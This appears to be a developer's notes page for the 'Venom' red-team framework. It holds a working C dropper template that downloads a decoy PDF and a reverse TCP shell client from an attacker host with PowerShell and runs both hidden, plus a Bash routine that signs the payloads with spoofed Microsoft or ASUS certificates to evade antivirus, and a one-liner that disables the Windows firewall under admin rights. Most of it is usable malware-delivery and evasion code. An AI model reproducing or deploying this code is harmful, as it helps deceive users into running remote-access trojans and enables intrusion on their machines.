new Venon v1.0.17 - Amsi Evasion Dropper

dropper.c

/*
Author: r00t-3xp10it [SSA RedTeam @2020]
Framework: Venom v1.0.17 - Amsi Evasion Agent nº 5
This template its used to download/exec (Legit.pdf and Client.exe) from attacker machine (LAN)
and execute them in separated processes (hidden). Given the false sensation to target user that
he is opening an pdf document when in reality he is executing an binary.exe with one PDF Icon.
*/

#include<stdio.h>
#include<stdlib.h>
#include<winsock2.h>
#include<windows.h>

int main()
{
 /* Here we use powershell to download/execute the Legit pdf doc And the reverse tcp Client shell */
 system("powershell -exec bypass -w 1 -C (NeW-Object Net.WebClient).DownloadFile('http://LhOsT/FiLNaMe.pdf', 'C:\\Users\\Public\\FiLNaMe.pdf') && powershell Start-Process -windowstyle hidden -FilePath 'C:\\Users\\Public\\FiLNaMe.pdf'");
 system("powershell -exec bypass -w 1 -C (NeW-Object Net.WebClient).DownloadFile('http://LhOsT/Client.exe', 'C:\\Users\\Public\\Client.exe') && powershell Start-Process -windowstyle hidden -FilePath 'C:\\Users\\Public\\Client.exe' -ArgumentList 'ip=LhOsT','port=LpOrT'");
 return 0;
}

Note-To-Self

• From this screenshot i dont need to spoof the binary extension (dropper.pdf.exe) ....
  • Because windows default behavior its to HIDDE the extension
    (only if user have activated the 'show extensions' the .exe will be visible, the same way that the extra extension)

Query Wine Registry

cat /root/.wine/system.reg | grep -m 1 '#arch' | cut -d '=' -f2
This command displays: win32 (32 bit) or win64 (64 bit)
cat /root/.wine32/system.reg | grep -m 1 '#arch' | cut -d '=' -f2

https://askubuntu.com/questions/500069/how-to-check-if-my-wine-prefix-is-32-bit-or-64-bit

note-to-self

https://gist.github.com/r00t-3xp10it/13e1bd5c657a1bd38bdf0a82d0e63309#gistcomment-3154075

Sign an executable for AV evasion

Author: @paranoidninja
Tool: CarbonCopy,py

• venom function to use carboncopy
  • This function its only activated on venom settings file
    Change OBFUSCATION=OFF to OBFUSCATION=ON before runing venom framework (save file)
  • This function will sign dropper.exe and Client.exe (rev tcp shell) in venom categorie nº8 => Agent nº5 (PDF Trojan)

## SIGN EXECUTABLE (paranoidninja - CarbonCopy)
easter_egg=$(cat $IPATH/settings|grep -m 1 'OBFUSCATION'|cut -d '=' -f2)
if [ "$easter_egg" = "ON" ]; then

   ## Make sure CarbonCopy dependencies are installed
   pythonversion=$(python3 --version > /dev/null 2>&1)
   if [ "$?" -ne "0" ]; then
      echo "${RedF}[x] python3 Package not found, installing .."${Reset};sleep 2
      echo "" && sudo apt-get update && apt-get install python3 && echo ""
   fi
   ossl_packer=$(which osslsigncode > /dev/null 2>&1)
   if [ "$?" -ne "0" ]; then
      echo "${RedF}[x] osslsigncode Package not found, installing .."${Reset};sleep 2
      echo "" && sudo apt-get install osslsigncode && pip3 install pyopenssl && echo ""
   fi

   ## SIGN EXECUTABLE (paranoidninja - CarbonCopy)
   echo "${BlueF}[☠]${white} Sign Executable for AV Evasion (CarbonCopy) .."${Reset};sleep 2
   conv=$(cat /dev/urandom | tr -dc '1-6' | fold -w 1 | head -n 1)
   if [ "$conv" "<" "3" ]; then SSL_domain="www.microsoft.com"; else SSL_domain="www.asus.com";fi
   echo "${BlueF}[${YellowF}i${BlueF}]${white} spoofed certificate:${YellowF} $SSL_domain"${Reset};sleep 2
   cd $IPATH/obfuscate
   cp $IPATH/bin/Client.exe $IPATH/output/Client.exe
   xterm -T "CarbonCopy - Signs an Executable for AV Evasion" -geometry 110x23 -e "python3 CarbonCopy.py $SSL_domain 443 $IPATH/output/$Drop.exe $IPATH/output/signed-$Drop.exe && sleep 2 && python3 CarbonCopy.py $SSL_domain 443 $IPATH/output/Client.exe $IPATH/output/signed-Client.exe && sleep 2"
   mv $IPATH/output/signed-Client.exe $IPATH/output/Client.exe
   mv $IPATH/output/signed-$Drop.exe $IPATH/output/$Drop.exe
   rm -r certs > /dev/nul 2>&1
   chmod +x $IPATH/output/Client.exe > /dev/nul 2>&1
   chmod +x $IPATH/output/$Drop.exe > /dev/nul 2>&1
   cd $IPATH/

fi

if [ "$easter_egg" = "ON" ]; then

Disable firewall if dropper its executed with admin privileges

• Modifie venom/templates/dropper.c template to add this ???

system("NET SESSION && if %errorlevel% EQU 0 (netsh advfirewall set allprofiles state off)")